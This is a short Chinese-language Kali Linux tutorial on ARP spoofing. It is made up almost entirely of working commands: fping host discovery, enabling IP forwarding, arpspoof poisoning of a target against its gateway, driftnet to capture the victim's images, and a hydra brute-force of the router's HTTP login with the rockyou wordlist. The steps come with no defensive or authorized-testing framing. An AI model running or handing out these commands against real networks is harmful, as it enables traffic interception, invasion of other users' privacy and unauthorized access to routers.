arp欺骗

1.将当前网段存活的IP地址重定向到ping.txt文件中

root@kali:~# fping -asg 192.168.0.1/24 > ping.txt

2.查看ping.txt

root@kali:~# cat ping.txt
192.168.0.1
192.168.0.100
192.168.0.105
192.168.0.106
192.168.0.108
192.168.0.101
192.168.0.104

3.根据数据包的目的ip地址将包发往本机另一网卡，网卡根据路由表继续发送数据包

root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward

4.对目标IP地址192.168.0.1进行arp攻击

root@kali:~# arpspoof -i wlan0 -t 192.168.0.105 192.168.0.1

5.查看arp攻击目标主机的图片

root@kali:~# driftnet -i wlan0

6.破解无线路由器密码

root@kali:~# hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 80 -t 1 192.168.0.1 http-get